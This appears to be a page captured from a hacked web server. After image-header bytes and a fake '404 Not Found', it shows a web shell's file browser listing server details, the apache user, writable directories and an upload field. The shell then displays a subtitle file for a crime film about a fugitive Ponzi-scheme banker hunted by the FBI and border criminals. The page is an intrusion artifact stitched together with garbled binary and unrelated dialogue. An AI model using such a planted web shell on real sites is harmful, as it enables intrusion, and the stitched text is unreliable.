����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/01-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/01-2019/5c5205203ca36-1548879136.vtt
WEBVTT

1
00:00:59.509 --> 00:01:02.739
This is
the story of failure...

2
00:01:05.779 --> 00:01:07.747
of my failure...

3
00:01:09.683 --> 00:01:13.915
and how all that
is good is not me.

4
00:01:17.190 --> 00:01:19.454
They're going to
take you into custody.

5
00:01:19.526 --> 00:01:24.361
Given the allegations against
you, bail is highly unlikely.

6
00:01:24.431 --> 00:01:26.296
Excuse me.

7
00:01:57.697 --> 00:02:00.860
They say that in the end,
life all comes down

8
00:02:05.071 --> 00:02:07.562
and when we draw
our last breath,

9
00:02:07.641 --> 00:02:11.236
only a few things will
have really mattered...

10
00:02:16.483 --> 00:02:20.419
I can make these
numbers work, but it...

11
00:02:20.487 --> 00:02:22.978
I'm not gonna be
thrown to the dogs.

12
00:02:27.561 --> 00:02:29.586
Where the hell are you going?

13
00:02:29.996 --> 00:02:32.294
I'm not taking
the fall, Charlie!

14
00:02:32.365 --> 00:02:34.697
...and
all that is not...

15
00:02:36.570 --> 00:02:38.629
fades to nothing.

16
00:03:15.442 --> 00:03:17.239
You have it?

17
00:03:17.711 --> 00:03:19.406
Maybe.

18
00:03:22.582 --> 00:03:24.709
You don't have it.

19
00:03:24.784 --> 00:03:26.718
Maybe...

20
00:03:26.786 --> 00:03:28.413
Maybe not.

21
00:03:41.668 --> 00:03:43.431
Lunchtime, huh?

22
00:03:44.137 --> 00:03:46.731
Uh, there's a nice little
panini place there.

23
00:03:46.806 --> 00:03:48.296
Get yourself something.

24
00:03:48.375 --> 00:03:49.842
Don't take too long.

25
00:03:54.948 --> 00:03:57.416
He's on the move.
Play him tight.

26
00:03:59.786 --> 00:04:01.549
Good.

27
00:04:10.564 --> 00:04:11.826
Benny.

28
00:04:13.199 --> 00:04:15.633
How long have you been
driving for me, Benny?

29
00:04:15.702 --> 00:04:20.503
Uh, it's been, uh, three
years this July, sir.

30
00:04:23.510 --> 00:04:25.910
You're a good man, Benny.

31
00:04:26.880 --> 00:04:29.212
I've never told you
that before, have I?

32
00:04:29.282 --> 00:04:30.579
No, sir.

33
00:04:30.650 --> 00:04:32.049
Mm.

34
00:04:32.118 --> 00:04:34.211
Well, I'm telling you now.

35
00:04:34.287 --> 00:04:36.278
Thank you, sir.

36
00:04:57.210 --> 00:04:59.235
Are we a go, boss?

37
00:04:59.312 --> 00:05:01.041
Almost. It's coming through.

38
00:05:01.448 --> 00:05:03.541
We can take him now.
It's on its way.

39
00:05:03.617 --> 00:05:05.608
That's a negative. I gotta have the
warrant in my hand, Jimmy.

40
00:05:05.685 --> 00:05:07.710
You hear that? It's a negative.

41
00:05:22.902 --> 00:05:24.597
Stand by, boss.

42
00:05:29.576 --> 00:05:31.601
What's going on, Jimmy?

43
00:05:36.516 --> 00:05:38.575
What the hell is he doing?

44
00:05:45.792 --> 00:05:48.317
Jimmy, what the fuck's going on?

45
00:05:51.831 --> 00:05:54.163
It's all good. The driver
just checked the tire.

46
00:05:56.336 --> 00:05:58.497
All right.
He's moving.

47
00:05:58.571 --> 00:06:00.971
Take him inside or out?

48
00:06:05.679 --> 00:06:07.943
Warrant in hand. Repeat,
warrant in hand. Everybody,

49
00:06:08.014 --> 00:06:10.915
take him as he comes out of the
underground and keep it clean.

50
00:06:28.301 --> 00:06:31.737
F.B.I.! F.B.I.!
Show us your hands!

51
00:06:31.805 --> 00:06:36.139
Show us your hands!
Show us your hands!

52
00:06:36.209 --> 00:06:38.939
Freeze! Put your hands up.

53
00:06:40.814 --> 00:06:42.577
Car's not clear, sir.

54
00:06:44.017 --> 00:06:45.644
Sir, the car isn't-

55
00:06:46.753 --> 00:06:48.914
The car is not clear, sir.

56
00:06:52.192 --> 00:06:54.285
Oh, God! Aah!

57
00:08:25.852 --> 00:08:27.581
Jimmy.

58
00:08:30.657 --> 00:08:32.352
He's gone, sir.

59
00:09:31.317 --> 00:09:33.148
There's not much here.

60
00:09:33.219 --> 00:09:36.086
Looks like he didn't take
his work home with him.

61
00:09:36.656 --> 00:09:38.988
It would be something like this.

62
00:09:39.792 --> 00:09:40.850
Sir?

63
00:09:40.927 --> 00:09:43.088
The ocean view.

64
00:09:44.364 --> 00:09:48.027
Barbados, Caymans...

65
00:09:49.302 --> 00:09:51.395
South Africa, maybe.

66
00:09:54.173 --> 00:09:56.869
Once you had all
this, man, that's it.

67
00:09:58.044 --> 00:10:00.103
It's cleansing.

68
00:10:00.179 --> 00:10:02.977
He won't be able
to live without it.

69
00:10:05.718 --> 00:10:07.310
Look, we, uh...

70
00:10:07.387 --> 00:10:09.378
we got subpoenas ready.

71
00:10:10.490 --> 00:10:11.980
Credit cards, medical records?

72
00:10:12.058 --> 00:10:15.459
Credit cards we have.
Still working on medical.

73
00:10:15.528 --> 00:10:17.792
And not a damn thing personal.

74
00:10:17.864 --> 00:10:19.126
Huh.

75
00:10:19.999 --> 00:10:21.432
What a life.

76
00:10:56.936 --> 00:10:58.563
Charlie Wright
is charged in a

77
00:10:58.638 --> 00:11:02.130
$10 billion ponzi fraud
scheme. Six weeks ago,

78
00:11:04.978 --> 00:11:06.309
I'm
sorry, Agent Hobbs, could

79
00:11:06.379 --> 00:11:09.678
you speak up? I'm not...
hearing you clearly.

80
00:11:09.749 --> 00:11:11.273
What part, sir?

81
00:11:11.351 --> 00:11:14.343
The part about a 51 -year-old
banker who gets away from seven

82
00:11:14.420 --> 00:11:18.220
trained federal agents in
a fucking parking garage.

83
00:11:18.291 --> 00:11:20.282
That's what part.

84
00:11:23.096 --> 00:11:24.461
All right.

85
00:11:24.530 --> 00:11:26.691
How much have you recovered?

86
00:11:28.134 --> 00:11:31.160
F our billion from various
accounts in the Caymans.

87
00:11:32.138 --> 00:11:34.106
Mr. Thompson from the
Attorney General's office

88
00:11:34.173 --> 00:11:35.663
has a question for you.

89
00:11:35.742 --> 00:11:39.200
Has the name Joseph
Letvenko shown up on your radar?

90
00:11:40.313 --> 00:11:41.541
Not from my memory.

91
00:11:41.614 --> 00:11:43.479
Are you familiar with the name?

92
00:11:43.549 --> 00:11:44.675
I've heard it.

93
00:11:44.751 --> 00:11:47.151
He was the underboss of
the Russian mafia through

94
00:11:47.220 --> 00:11:50.280
the '80s and '90s. He's been
off the map for years now.

95
00:11:50.356 --> 00:11:52.881
He and his longtime body guard
run a little Russian diner

96
00:11:52.959 --> 00:11:56.019
downtown. We think he's
got money with Wright,

97
00:11:56.095 --> 00:11:59.496
off the books money,
upwards of 100 million.

98
00:12:03.136 --> 00:12:04.433
100 million.

99
00:12:04.504 --> 00:12:07.530
If Letvenko has money with
Wright, he's not going to wait

100
00:12:07.607 --> 00:12:09.905
until we pick him up,
if you know what I mean.

101
00:12:09.976 --> 00:12:12.001
So where the hell is he, Andy?

102
00:12:12.078 --> 00:12:14.308
He's got several
vacation homes in the Caribbean.

103
00:12:14.380 --> 00:12:16.473
He's got a place off
the coast of Spain.

104
00:12:16.549 --> 00:12:17.948
We believe that we are
getting close to...

105
00:12:18.017 --> 00:12:20.542
Whoa.
Close?

106
00:12:21.421 --> 00:12:22.945
Yes, sir, we think
we're getting close.

107
00:12:23.022 --> 00:12:24.649
Now, that's not the answer
I'm looking for here,

108
00:12:24.724 --> 00:12:26.419
so let me give you a hand.

109
00:12:26.492 --> 00:12:29.859
You are gonna tell me exactly
where Charlie Wright is,

110
00:12:29.929 --> 00:12:33.558
and you simply need the
resources to pick him up.

111
00:12:33.900 --> 00:12:35.891
It is more complex than that.

112
00:12:35.968 --> 00:12:38.061
Best and worst case scenario.

113
00:12:38.137 --> 00:12:40.799
Best case, he's here in the
United States in one of the

114
00:12:40.873 --> 00:12:43.501
vacation homes. He
shows up, we get him.

115
00:12:44.544 --> 00:12:46.102
Worst.

116
00:12:49.515 --> 00:12:52.951
We estimate he's got between
$1 to 2 billion left.

117
00:12:53.019 --> 00:12:55.283
He could conceivable
take that money...

118
00:12:55.354 --> 00:12:57.515
and stay above the treaties.

119
00:12:58.491 --> 00:13:01.392
English, Andrew, English.

120
00:13:02.862 --> 00:13:06.628
In this economy, he could buy
his way out of extradition out

121
00:13:06.699 --> 00:13:08.758
of any number of countries.

122
00:13:08.835 --> 00:13:12.896
He could live a life of luxury,
and if he's made that choice,

123
00:13:12.972 --> 00:13:14.030
we can't touch him.

124
00:13:14.107 --> 00:13:15.540
Oh, no.

125
00:13:15.608 --> 00:13:16.870
No.

126
00:13:16.943 --> 00:13:20.640
You're gonna touch him.
You're gonna find that money,

127
00:13:20.713 --> 00:13:23.273
and you're gonna bring
Charlie Wright to me.

128
00:13:23.349 --> 00:13:28.048
But most important, you're not
gonna make me look stupid.

129
00:13:28.121 --> 00:13:29.520
Do you understand?

130
00:13:42.068 --> 00:13:43.626
Listen, I'll stay.

131
00:13:47.874 --> 00:13:50.206
No, man, you go
on your vacation.

132
00:13:52.378 --> 00:13:54.107
I got this.

133
00:17:18.617 --> 00:17:20.551
That's him.

134
00:17:37.370 --> 00:17:39.065
Jorge.

135
00:17:41.741 --> 00:17:44.005
Um, excuse me.

136
00:17:44.643 --> 00:17:46.076
Wait for me outside.

137
00:17:47.847 --> 00:17:49.542
What's up?

138
00:17:49.615 --> 00:17:53.142
My sister's here, and
she's worried sick.

139
00:17:53.219 --> 00:17:55.050
Marco didn't come
home last night.

140
00:17:55.121 --> 00:17:56.986
She's been trying and trying,
but he doesn't answer.

141
00:17:57.056 --> 00:17:58.648
You have to go find him.

142
00:17:58.724 --> 00:17:59.588
Just-- just stay with her.

143
00:17:59.658 --> 00:18:00.386
Okay.

144
00:18:01.260 --> 00:18:01.954
Are you okay, my love?

145
00:18:02.027 --> 00:18:03.756
Yeah. Just stay with her.

146
00:18:03.829 --> 00:18:05.228
Okay.

147
00:18:09.168 --> 00:18:10.692
Come in.

148
00:18:21.981 --> 00:18:23.642
We've got them.

149
00:18:24.517 --> 00:18:25.848
What?

150
00:18:25.918 --> 00:18:28.182
The numbers.

151
00:18:33.125 --> 00:18:35.559
If it's not enough...

152
00:18:36.462 --> 00:18:38.453
Did you count everything?

153
00:18:39.865 --> 00:18:41.696
Yes.

154
00:18:45.571 --> 00:18:47.402
Are we close?

155
00:19:02.221 --> 00:19:04.655
Gabby, you remember
what Papa used to say...

156
00:19:09.562 --> 00:19:12.156
especially after he
had a few drinks.

157
00:19:16.068 --> 00:19:18.434
He used to say, Jorito...

158
00:19:18.504 --> 00:19:22.668
you're not a natural-born
leader, Jorito.

159
00:19:22.741 --> 00:19:25.574
You are going to destroy
everything I built.

160
00:19:25.644 --> 00:19:28.704
Like that, with that
crooked finger, like this.

161
00:19:28.781 --> 00:19:31.409
Jorito, you're gonna
destroy this family...

162
00:19:31.484 --> 00:19:34.044
if you're not careful.

163
00:19:34.854 --> 00:19:36.344
You remember that?

164
00:19:37.156 --> 00:19:40.319
No, I...
I don't remember that.

165
00:19:42.261 --> 00:19:44.491
Hmm. You were too young.

166
00:19:45.698 --> 00:19:48.360
Plus, he would never
point the finger at you...

167
00:19:48.434 --> 00:19:51.198
because you're a
natural-born leader.

168
00:19:52.838 --> 00:19:54.533
And you look like him.

169
00:19:54.607 --> 00:19:57.098
You got his looks, I
got his crooked finger.

170
00:20:01.647 --> 00:20:03.581
We're next, Gabby.

171
00:20:05.017 --> 00:20:07.110
You be careful.

172
00:20:08.654 --> 00:20:10.451
We'll figure it out.

173
00:21:18.357 --> 00:21:20.848
You're
missing five pesos.

174
00:21:24.697 --> 00:21:27.860
Impossible.
l-l counted.

175
00:21:45.651 --> 00:21:47.141
Con permiso.

176
00:22:55.254 --> 00:22:56.482
Jaime.

177
00:23:01.293 --> 00:23:02.157
Hi.

178
00:23:02.227 --> 00:23:02.886
Como esta.

179
00:23:02.961 --> 00:23:03.757
Good, good.

180
00:23:03.829 --> 00:23:05.660
Good.

181
00:23:05.731 --> 00:23:08.427
So, still no more beer?

182
00:23:08.500 --> 00:23:11.060
No, no, no.
Water's good.

183
00:23:11.136 --> 00:23:12.797
How about a girl?

184
00:23:13.572 --> 00:23:16.541
Please.
I'm too old for that.

185
00:23:16.809 --> 00:23:18.970
You know what I'm looking for.

186
00:23:19.044 --> 00:23:21.512
About the lady in
question, any luck?

187
00:23:21.580 --> 00:23:22.945
She's in the bathroom.

188
00:23:24.316 --> 00:23:25.681
She's here?

189
00:23:25.751 --> 00:23:26.877
Fantastic.

190
00:23:26.952 --> 00:23:28.044
I'll go get her
for you right now.

191
00:23:28.120 --> 00:23:29.178
Okay.

192
00:23:30.956 --> 00:23:32.048
Mary.

193
00:23:39.698 --> 00:23:41.256
This is Mary.

194
00:23:41.333 --> 00:23:42.732
Encantata.

195
00:23:42.801 --> 00:23:44.826
Nice to meet you.
Sit down.

196
00:23:45.471 --> 00:23:47.063
Would you like a drink?

197
00:23:47.139 --> 00:23:48.538
Sure.

198
00:23:48.607 --> 00:23:50.598
Um, tequila, por favor.

199
00:23:52.244 --> 00:23:55.543
So, Jaime tells me that
you used to work here.

200
00:23:56.982 --> 00:23:59.143
Oh, uh, a-a while ago.

201
00:23:59.384 --> 00:24:00.646
No.

202
00:24:02.988 --> 00:24:04.979
Well, this would've been...

203
00:24:05.057 --> 00:24:07.025
quite a while ago.

204
00:24:07.092 --> 00:24:10.220
I'm talking 20 years ago.

205
00:24:10.295 --> 00:24:12.263
20 years?

206
00:24:12.331 --> 00:24:15.425
So long ago.
I was just a girl.

207
00:24:15.501 --> 00:24:17.366
Gracias.

208
00:24:17.970 --> 00:24:20.996
Just trying to out-- find
out some information about,

209
00:24:21.073 --> 00:24:23.007
um, an old friend.

210
00:24:27.446 --> 00:24:30.415
What would make you think I
would know somebody for so long?

211
00:24:30.482 --> 00:24:32.609
Ver-- Veronica.
Her name was Veronica.

212
00:24:32.684 --> 00:24:35.152
Crystal was her working name.

213
00:24:35.220 --> 00:24:37.484
Does that ring a bell?

214
00:24:37.556 --> 00:24:40.423
She had dark hair,
medium height.

215
00:24:40.492 --> 00:24:43.825
She was here for...
years.

216
00:24:43.896 --> 00:24:50.734
Like I said, 20 years ago
I was just... a little girl.

217
00:24:54.873 --> 00:24:57.068
Jaime said you
were going to pay.

218
00:24:58.210 --> 00:25:00.007
I came all the way
down here for...

219
00:25:00.078 --> 00:25:02.945
Relax. I'm going to pay you.

220
00:25:06.385 --> 00:25:10.048
20 years ago, I mean,
you're so young.

221
00:25:14.193 --> 00:25:16.184
What do you do, Carlos?

222
00:25:17.830 --> 00:25:20.128
I'm, uh...

223
00:25:20.199 --> 00:25:21.860
retired.

224
00:26:06.945 --> 00:26:09.880
Did-- did you want
to go back to your hotel?

225
00:26:12.517 --> 00:26:14.144
Or, um...

226
00:26:14.219 --> 00:26:16.847
there's a decent place.
Close.

227
00:26:16.922 --> 00:26:19.516
Oh, no, that's really...
that's not necessary.

228
00:26:19.591 --> 00:26:20.956
It's very late for me.

229
00:26:21.026 --> 00:26:23.324
Yes, yes. Of course.

230
00:26:24.863 --> 00:26:26.728
It's not you.

231
00:26:26.798 --> 00:26:28.288
You-- you're very beautiful.

232
00:26:30.202 --> 00:26:31.794
It's um...

233
00:26:34.273 --> 00:26:35.672
nice to meet you.

234
00:26:37.809 --> 00:26:39.003
Bye.

235
00:26:40.746 --> 00:26:42.304
Good night.

236
00:26:43.415 --> 00:26:44.939
Carlos?

237
00:26:46.451 --> 00:26:48.510
I know her.

238
00:26:49.922 --> 00:26:52.914
Veronica... Crystal?

239
00:26:53.458 --> 00:26:55.517
She died...

240
00:26:56.228 --> 00:26:58.696
over ten years ago.

241
00:26:58.764 --> 00:27:01.062
I knew that.

242
00:27:07.839 --> 00:27:09.773
We were close...

243
00:27:09.841 --> 00:27:13.072
friends.

244
00:27:13.145 --> 00:27:16.114
It didn't seem right
not to tell you.

245
00:27:16.181 --> 00:27:18.672
I'm sorry.

246
00:27:18.750 --> 00:27:22.186
Do you know anything
about her children?

247
00:27:22.254 --> 00:27:24.984
She only had one.
Isabelle.

248
00:27:25.057 --> 00:27:26.786
Isabelle.

249
00:27:26.858 --> 00:27:32.319
Is there any way that you might
be able to help me find her?

250
00:27:33.632 --> 00:27:34.963
I... I don't know.

251
00:27:35.033 --> 00:27:36.864
Why do you want to find her?

252
00:27:36.935 --> 00:27:40.393
It's, uh... personal
reasons. Uh...

253
00:27:40.472 --> 00:27:43.407
it would mean a...

254
00:27:43.475 --> 00:27:46.171
the world to me.

255
00:27:46.478 --> 00:27:48.776
Okay. Uh, I'll try.

256
00:27:48.847 --> 00:27:51.281
How long you gonna
be around for?

257
00:27:52.718 --> 00:27:56.347
Uh, not very long, actually.

258
00:27:56.755 --> 00:27:58.655
Okay.

259
00:28:01.793 --> 00:28:03.283
Thank you.

260
00:28:08.066 --> 00:28:14.027
Oh, and by the way,
my name is Charlie.

261
00:28:14.106 --> 00:28:16.472
Okay, Charlie.

262
00:28:25.550 --> 00:28:26.881
Thank you so much.

263
00:29:04.623 --> 00:29:07.683
What you doing, man? You supposed to
be on vacation.

264
00:29:09.261 --> 00:29:10.819
What?

265
00:29:16.034 --> 00:29:17.831
Good to see you.

266
00:29:20.539 --> 00:29:22.302
You look thin.

267
00:29:29.648 --> 00:29:31.673
You've heard of our problems?

268
00:29:32.951 --> 00:29:34.213
You mean the banker?

269
00:29:34.286 --> 00:29:35.913
Yes.

270
00:29:37.155 --> 00:29:39.316
Mexico.

271
00:29:40.092 --> 00:29:42.026
You've had business there?

272
00:29:42.094 --> 00:29:44.221
Not really. Why?

273
00:29:44.296 --> 00:29:47.697
He's there, at the border.

274
00:29:48.300 --> 00:29:50.768
Oh, what a day.

275
00:29:50.836 --> 00:29:52.394
I'm beat.
Hey!

276
00:29:52.471 --> 00:29:55.031
Good to see you,
Mr. Letvenko, sir.

277
00:29:55.107 --> 00:29:56.802
Good to see you, too.

278
00:29:56.875 --> 00:29:59.173
How's the painting business?

279
00:29:59.244 --> 00:30:00.734
It's going, uh, very well, sir.

280
00:30:00.812 --> 00:30:02.712
Ah, sit down, sit down.

281
00:30:02.781 --> 00:30:04.612
Let's have a drink.

282
00:30:04.683 --> 00:30:07.015
It's a hard day, a long day.

283
00:30:07.085 --> 00:30:09.144
Let's relax a little bit.

284
00:30:16.461 --> 00:30:17.621
To your health.

285
00:30:17.696 --> 00:30:18.890
Yeah.

286
00:30:18.964 --> 00:30:20.192
Hmm.

287
00:30:21.733 --> 00:30:24.531
I may have some
business to do in the back.

288
00:30:31.009 --> 00:30:33.136
You need a team.

289
00:30:37.082 --> 00:30:38.743
Good men.

290
00:30:39.351 --> 00:30:42.184
You want this done
right, I should use my own men.

291
00:30:44.923 --> 00:30:48.051
These men
work in Mexico.

292
00:30:52.330 --> 00:30:56.266
There's a limit of
talent there, you know?

293
00:31:01.206 --> 00:31:03.470
You won't have much time.

294
00:31:03.875 --> 00:31:05.934
They will have to do.

295
00:31:06.244 --> 00:31:07.268
All in?

296
00:31:16.888 --> 00:31:18.617
F or a banker?

297
00:31:18.790 --> 00:31:20.621
Not for him.

298
00:31:20.692 --> 00:31:22.455
F or Garza.

299
00:31:22.527 --> 00:31:23.858
Who's Garza?

300
00:31:24.996 --> 00:31:29.865
The Garza family has run
the border since the '60s.

301
00:31:29.935 --> 00:31:34.269
They bankrolled the cartels, but
somehow managed to stay out of

302
00:31:34.339 --> 00:31:36.569
the dirty side of the business.

303
00:31:36.641 --> 00:31:39.337
Real estate, mostly.
A little politics.

304
00:31:39.411 --> 00:31:42.141
We had business with
them some years ago.

305
00:31:42.214 --> 00:31:45.411
A decent man, but weak.

306
00:31:46.051 --> 00:31:47.450
Now...

307
00:31:47.519 --> 00:31:49.885
he's in trouble.

308
00:31:52.257 --> 00:31:53.417
What kind of trouble?

309
00:31:54.459 --> 00:31:57.826
He's into a lender
in Mexico City.

310
00:31:57.896 --> 00:31:59.864
They're calling up the debt.

311
00:31:59.931 --> 00:32:03.025
Serious people in Mexico City.

312
00:32:06.037 --> 00:32:09.700
just about anything to keep him.

313
00:32:10.375 --> 00:32:12.104
Now go.

314
00:32:16.581 --> 00:32:17.843
Good to see you.

315
00:32:17.916 --> 00:32:18.814
Hmm.

316
00:32:18.883 --> 00:32:19.872
Da.

317
00:32:25.257 --> 00:32:30.661
Charlie Wright has betrayed
our trust, Damon...

318
00:32:31.496 --> 00:32:33.088
terribly.

319
00:32:35.767 --> 00:32:38.133
Find him...

320
00:32:39.404 --> 00:32:41.736
and bring him here to us.

321
00:32:43.275 --> 00:32:45.140
Consider it done.

322
00:32:45.210 --> 00:32:46.404
Sir.

323
00:32:51.916 --> 00:32:54.146
What was your agent
doing down in Tijuana, Mexico?

324
00:32:54.219 --> 00:32:55.686
The point is, we had
a good sighting.

325
00:32:55.754 --> 00:32:56.846
Now, what we need to do is--

326
00:32:56.921 --> 00:32:58.684
No, no, no, no. What you
had was an unverified

327
00:32:58.757 --> 00:33:01.157
sighting outside a hooker
joint with a drunk agent who

328
00:33:02.360 --> 00:33:02.849
But I trust...

329
00:33:02.927 --> 00:33:04.224
But nothing.

330
00:33:04.296 --> 00:33:05.888
What would Wright, a guy with
all the money in the world,

331
00:33:05.964 --> 00:33:08.626
be doing in a shit stew
like Tijuana, Mexico?

332
00:33:08.700 --> 00:33:12.067
You said yourself, he could
go anywhere in the world.

333
00:33:13.071 --> 00:33:14.800
Use your head, Andy.

334
00:33:15.540 --> 00:33:18.270
Please tell me you got
something more than this.

335
00:33:26.084 --> 00:33:27.210
No more funds.

336
00:33:27.285 --> 00:33:29.014
No more agents.

337
00:33:29.087 --> 00:33:30.987
Damage done.

338
00:34:11.830 --> 00:34:12.762
We've got company.

339
00:34:40.658 --> 00:34:41.852
Let's roll.

340
00:35:04.349 --> 00:35:06.044
Mucho dinero.

341
00:35:06.418 --> 00:35:08.818
But why you come to us?

342
00:35:08.887 --> 00:35:13.790
Why don't you go to our federal
authorities, your counterpart?

343
00:35:13.858 --> 00:35:16.725
We're municipal policemen.

344
00:35:18.096 --> 00:35:21.964
Well, it's not exactly
official at this point.

345
00:35:22.033 --> 00:35:26.197
A man steals $10 billion.
It's not official?

346
00:35:26.771 --> 00:35:28.568
I gotta get my green card!

347
00:35:28.640 --> 00:35:29.629
Ha ha ha!

348
00:35:33.812 --> 00:35:39.114
Your man is not in
Tijuana, uh, Officer Hobbs.

349
00:35:39.184 --> 00:35:42.984
If a man spends a lot of
money here, we know it.

350
00:35:46.658 --> 00:35:49.786
May I ask you a question,
between...?

351
00:35:52.063 --> 00:35:54.531
What does an officer
of the F.B.I.

352
00:35:54.599 --> 00:35:57.363
makes, you know, a
month, over there?

353
00:36:00.605 --> 00:36:05.201
Well, it would be an agent...
and that would be a

354
00:36:05.276 --> 00:36:09.269
function of how long you've
been with the agency...

355
00:36:09.347 --> 00:36:13.841
but I believe starting salary
would be around 60 grand.

356
00:36:13.918 --> 00:36:16.944
$60,000?

357
00:36:17.021 --> 00:36:20.582
Sesenta mil dolares
la chinga.

358
00:36:20.658 --> 00:36:22.558
Muchos dinero, eh?

359
00:36:22.627 --> 00:36:25.892
I might be coming back
with a couple agents,

360
00:36:25.964 --> 00:36:28.364
so we'd appreciate
your cooperation.

361
00:36:28.433 --> 00:36:31.061
Sure. Sure.

362
00:36:31.135 --> 00:36:34.127
But don't expect any
free beers from us.

363
00:36:34.205 --> 00:36:36.036
Ha ha ha!

364
00:36:56.561 --> 00:37:00.088
You sure this
is the right place?

365
00:37:07.572 --> 00:37:09.335
It's the right place.

366
00:37:09.407 --> 00:37:11.102
Better fucking be.

367
00:37:25.957 --> 00:37:27.618
That's for you.

368
00:37:27.692 --> 00:37:28.818
Thanks.

369
00:37:28.893 --> 00:37:30.053
Let's load it up.

370
00:38:23.748 --> 00:38:25.943
Jorge.
What is it?

371
00:38:26.017 --> 00:38:27.985
Get Mexico City on the phone.

372
00:38:29.554 --> 00:38:31.454
Mexico City? Why?

373
00:38:31.522 --> 00:38:33.012
Just get them on the phone.

374
00:38:33.091 --> 00:38:34.524
Oh, they won't take our calls. Not
anymore.

375
00:38:34.592 --> 00:38:36.958
They will now.
Get them on the phone.

376
00:38:37.862 --> 00:38:39.762
Tell them we have
Charlie Wright.

377
00:38:42.500 --> 00:38:44.195
The...
Charlie Wright?

378
00:38:44.268 --> 00:38:46.327
That's right.

379
00:38:54.712 --> 00:38:56.612
This is Gabriel Garza.

380
00:40:16.060 --> 00:40:17.891
Do you know who I am?

381
00:40:21.365 --> 00:40:23.390
Bail bondsman?

382
00:40:26.070 --> 00:40:27.662
In a way.

383
00:40:28.039 --> 00:40:31.440
My name is Jorge Garza.
This is my town.

384
00:40:32.710 --> 00:40:35.372
Is this your jail, too?

385
00:40:36.247 --> 00:40:38.715
Your guards are...

386
00:40:38.783 --> 00:40:40.876
a little excitable.

387
00:40:41.753 --> 00:40:43.050
Hmm.

388
00:40:50.027 --> 00:40:52.552
I'm sorry about that.

389
00:40:54.398 --> 00:40:57.094
I'm gonna assume
you know who I am.

390
00:40:57.168 --> 00:40:59.033
I do.

391
00:41:27.698 --> 00:41:31.225
I'm gonna be perfectly
honest with you, Mr. Wright.

392
00:41:35.072 --> 00:41:38.064
I haven't been to church
in over three months.

393
00:41:38.142 --> 00:41:41.475
In fact, I can't even
remember a time when...

394
00:41:41.546 --> 00:41:45.949
not even when I went on that
little stretch to Mexico City...

395
00:41:46.017 --> 00:41:48.918
that I hadn't been
to church in so long.

396
00:41:49.854 --> 00:41:53.255
And lately I've been getting
to the point where...

397
00:41:53.324 --> 00:41:58.159
I was beginning to doubt that
there's actually a god...

398
00:42:00.431 --> 00:42:04.458
and that's a terrible
thing, to doubt God.

399
00:42:17.215 --> 00:42:18.944
I have some issues.

400
00:42:20.852 --> 00:42:23.878
I have a debt,
very large debt...

401
00:42:26.724 --> 00:42:28.453
and the people that
are holding that debt

402
00:42:28.526 --> 00:42:30.994
are not gonna wait for
me to pay it anymore...

403
00:42:33.130 --> 00:42:36.122
and it's gonna make my life...

404
00:42:37.335 --> 00:42:39.565
very difficult.

405
00:42:41.272 --> 00:42:42.899
Dangerous.

406
00:42:43.274 --> 00:42:46.869
F or me and for the
people I love, very soon.

407
00:42:46.944 --> 00:42:48.809
Are you with me?

408
00:42:50.648 --> 00:42:51.637
Huh.

409
00:42:52.283 --> 00:42:54.274
More than you know.

410
00:42:55.686 --> 00:42:57.449
But I have some good news.

411
00:42:57.521 --> 00:42:59.989
I've had a...

412
00:43:03.060 --> 00:43:04.789
an epiphany.

413
00:43:05.730 --> 00:43:08.426
I know for sure now.
I'm positive.

414
00:43:10.568 --> 00:43:12.900
Positive about what?

415
00:43:13.237 --> 00:43:17.970
There's a God.
He's alive. He's real.

416
00:43:19.277 --> 00:43:21.472
Because he brought me you.

417
00:43:23.614 --> 00:43:24.911
Get up.

418
00:43:32.957 --> 00:43:35.323
Hey, your
name is Damon, right?

419
00:43:37.428 --> 00:43:39.089
Yeah, it is today.

420
00:43:39.630 --> 00:43:41.723
You been
in the shit, Damon?

421
00:43:44.669 --> 00:43:46.261
Yeah, enough.

422
00:43:47.171 --> 00:43:48.263
Enough.

423
00:43:51.075 --> 00:43:53.737
What exactly is that
supposed to mean?

424
00:43:54.512 --> 00:43:57.879
I don't know. Maybe, uh,
I guess it means enough.

425
00:43:58.783 --> 00:44:01.274
It also means you're on my lead.

426
00:44:02.453 --> 00:44:04.819
I'm afraid it don't
work that way, mate.

427
00:44:04.889 --> 00:44:06.322
This is my crew.

428
00:44:07.325 --> 00:44:09.225
It's my lead.

429
00:44:10.761 --> 00:44:13.286
Well, I'm paying for your crew.

430
00:44:14.432 --> 00:44:15.660
Is there a problem?

431
00:44:28.212 --> 00:44:30.442
As long as
the money's green.

432
00:44:30.514 --> 00:44:32.812
Tsk.
Amen to that.

433
00:44:33.818 --> 00:44:36.184
I can take of you here.

434
00:44:36.253 --> 00:44:38.915
You're safe with me. Nobody
can touch you, not the Feds,

435
00:44:38.990 --> 00:44:41.720
bounty hunters, enemies, no one.

436
00:44:42.626 --> 00:44:44.321
Enemies?

437
00:44:45.029 --> 00:44:47.361
Why would anyone be mad at me?

438
00:44:49.667 --> 00:44:52.534
Don't play games
with me, Mr. Wright.

439
00:44:52.603 --> 00:44:54.468
You're 51 years old.

440
00:44:54.538 --> 00:44:56.529
You got nowhere to run.
You got nowhere to hide.

441
00:44:56.607 --> 00:45:01.977
Why don't you tell me what it is
exactly that you want from me?

442
00:45:06.050 --> 00:45:09.247
Your incredibly
impressive scam netted

443
00:45:09.320 --> 00:45:13.450
you about $11 billion, U.S.

444
00:45:13.524 --> 00:45:16.584
You blew four.
They recovered five.

445
00:45:16.660 --> 00:45:19.652
There's $1 .6 billion
unaccounted for.

446
00:45:19.730 --> 00:45:22.893
I need it, and you're
gonna tell me where it is.

447
00:45:26.604 --> 00:45:29.072
You're very good at math.

448
00:45:30.107 --> 00:45:33.042
Well, unfortunately,
not good enough.

449
00:45:36.914 --> 00:45:39.007
But you're gonna help
me get better at it.

450
00:45:39.083 --> 00:45:40.414
Let's go.

451
00:45:49.293 --> 00:45:52.387
Gabby, take him home.
Watch him.

452
00:45:52.463 --> 00:45:53.953
Where you going?

453
00:45:54.031 --> 00:45:55.396
Gotta buy some time.

454
00:45:55.466 --> 00:45:56.763
I should go with you.

455
